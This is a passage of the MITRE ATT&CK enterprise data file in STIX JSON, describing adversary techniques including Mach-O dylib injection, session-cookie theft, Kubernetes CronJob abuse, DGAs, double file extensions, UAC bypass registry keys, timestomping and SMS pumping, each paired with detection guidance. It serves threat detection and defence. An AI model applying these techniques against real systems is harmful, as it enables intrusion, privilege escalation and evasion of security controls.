            "name": "LC_LOAD_DYLIB Addition",
            "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Metadata",
                "Process: Process Creation",
                "File: File Modification",
                "Module: Module Load"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "created": "2019-10-08T20:04:35.508Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1539",
                    "external_id": "T1539"
                },
                {
                    "source_name": "Krebs Discord Bookmarks 2023",
                    "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
                    "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                },
                {
                    "source_name": "Kaspersky TajMahal April 2019",
                    "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.",
                    "url": "https://securelist.com/project-tajmahal/90240/"
                },
                {
                    "source_name": "Github evilginx2",
                    "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.",
                    "url": "https://github.com/kgretzky/evilginx2"
                },
                {
                    "source_name": "GitHub Mauraena",
                    "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.",
                    "url": "https://github.com/muraenateam/muraena"
                },
                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
                },
                {
                    "source_name": "Talos Roblox Scam 2023",
                    "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.",
                    "url": "https://blog.talosintelligence.com/roblox-scam-overview/"
                }
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            "modified": "2025-04-15T23:12:39.075Z",
            "name": "Steal Web Session Cookie",
            "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
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                "Johann Rehberger",
                "Menachem Goldstein"
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            "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                "Windows",
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            "type": "attack-pattern",
            "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096",
            "created": "2021-03-29T17:06:22.247Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/007",
                    "external_id": "T1053.007"
                },
                {
                    "source_name": "Kubernetes CronJob",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/"
                },
                {
                    "source_name": "Kubernetes Jobs",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/"
                },
                {
                    "source_name": "Threat Matrix for Kubernetes",
                    "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
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            "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
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                "Yossi Weizman, Azure Defender Research Team"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "created": "2020-03-10T17:44:59.787Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1568/002",
                    "external_id": "T1568.002"
                },
                {
                    "source_name": "Elastic Predicting DGA",
                    "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
                    "url": "https://arxiv.org/pdf/1611.00791.pdf"
                },
                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
                },
                {
                    "source_name": "Pace University Detecting DGA May 2017",
                    "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
                    "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
                },
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
                },
                {
                    "source_name": "Akamai DGA Mitigation",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
                    "url": "https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e"
                },
                {
                    "source_name": "Cisco Umbrella DGA",
                    "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.",
                    "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
                },
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
                },
                {
                    "source_name": "Unit 42 DGA Feb 2019",
                    "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
                }
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            "modified": "2025-04-15T19:58:07.610Z",
            "name": "Domain Generation Algorithms",
            "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
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            "x_mitre_contributors": [
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                "Barry Shteiman, Exabeam",
                "Sylvain Gil, Exabeam"
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            "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow"
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            "type": "attack-pattern",
            "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e",
            "created": "2021-08-04T20:54:03.066Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1036/007",
                    "external_id": "T1036.007"
                },
                {
                    "source_name": "SOCPrime DoubleExtension",
                    "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.",
                    "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/"
                },
                {
                    "source_name": "PCMag DoubleExtension",
                    "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.",
                    "url": "https://www.pcmag.com/encyclopedia/term/double-extension"
                },
                {
                    "source_name": "Seqrite DoubleExtension",
                    "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.",
                    "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/"
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            "name": "Double File Extension",
            "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",
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                {
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                    "phase_name": "defense-evasion"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                "File: File Metadata"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "created": "2020-01-30T14:24:34.977Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/002",
                    "external_id": "T1548.002"
                },
                {
                    "source_name": "Davidson Windows",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                    "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
                },
                {
                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                },
                {
                    "source_name": "SANS UAC Bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
                },
                {
                    "source_name": "MSDN COM Elevation",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
                },
                {
                    "source_name": "enigma0x3 Fileless UAC Bypass",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
                },
                {
                    "source_name": "enigma0x3 sdclt app paths",
                    "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"
                },
                {
                    "source_name": "enigma0x3 sdclt bypass",
                    "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
                },
                {
                    "source_name": "TechNet Inside UAC",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                    "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
                },
                {
                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
                },
                {
                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "url": "https://github.com/hfiref0x/UACME"
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            "modified": "2025-04-16T20:37:15.662Z",
            "name": "Bypass User Account Control",
            "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
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                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
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            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Casey Smith"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: Process Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
            "created": "2017-05-31T21:31:12.675Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1099",
                    "external_id": "T1099"
                },
                {
                    "source_name": "WindowsIR Anti-Forensic Techniques",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
                }
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            "modified": "2025-04-25T15:15:10.626Z",
            "name": "Timestomp",
            "description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.",
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            "x_mitre_platforms": [
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                "Windows",
                "macOS"
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            "type": "attack-pattern",
            "id": "attack-pattern--130d4494-b2d6-4040-bcea-6e59f05222fe",
            "created": "2024-09-25T13:53:19.586Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496/003",
                    "external_id": "T1496.003"
                },
                {
                    "source_name": "AWS RE:Inforce Threat Detection 2024",
                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
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                    "source_name": "Twilio SMS Pumping",
                    "description": "Twilio. (2024, April 10). What Is SMS Pumping Fraud and How to Stop It. Retrieved September 25, 2024.",
                    "url": "https://www.twilio.com/en-us/blog/sms-pumping-fraud-solutions"
                },
                {
                    "source_name": "Twilio SMS Pumping Fraud",
                    "description": "Twilio. (n.d.). What is SMS Pumping Fraud?. Retrieved September 25, 2024.",
                    "url": "https://www.twilio.com/docs/glossary/what-is-sms-pumping-fraud"
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            "modified": "2025-04-15T23:02:00.718Z",
            "name": "SMS Pumping",
            "description": "Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim\u2019s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.(Citation: Twilio SMS Pumping)",
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                    "phase_name": "impact"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
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            "x_mitre_impact_type": [
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc",
            "created": "2021-03-17T15:28:10.689Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1016/001",
                    "external_id": "T1016.001"
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            "object_marking_refs": [
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            "modified": "2025-04-25T14:45:52.631Z",
            "name": "Internet Connection Discovery",
            "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux",
                "macOS",
                "ESXi"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
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        },
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            "type": "attack-pattern",
            "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
            "created": "2020-01-30T14:34:44.992Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/003",
                    "external_id": "T1548.003"
                },
                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "url": "https://www.sudo.ws/"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                },
                {
                    "source_name": "cybereason osx proton",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:45:52.996Z",
            "name": "Sudo and Sudo Caching",
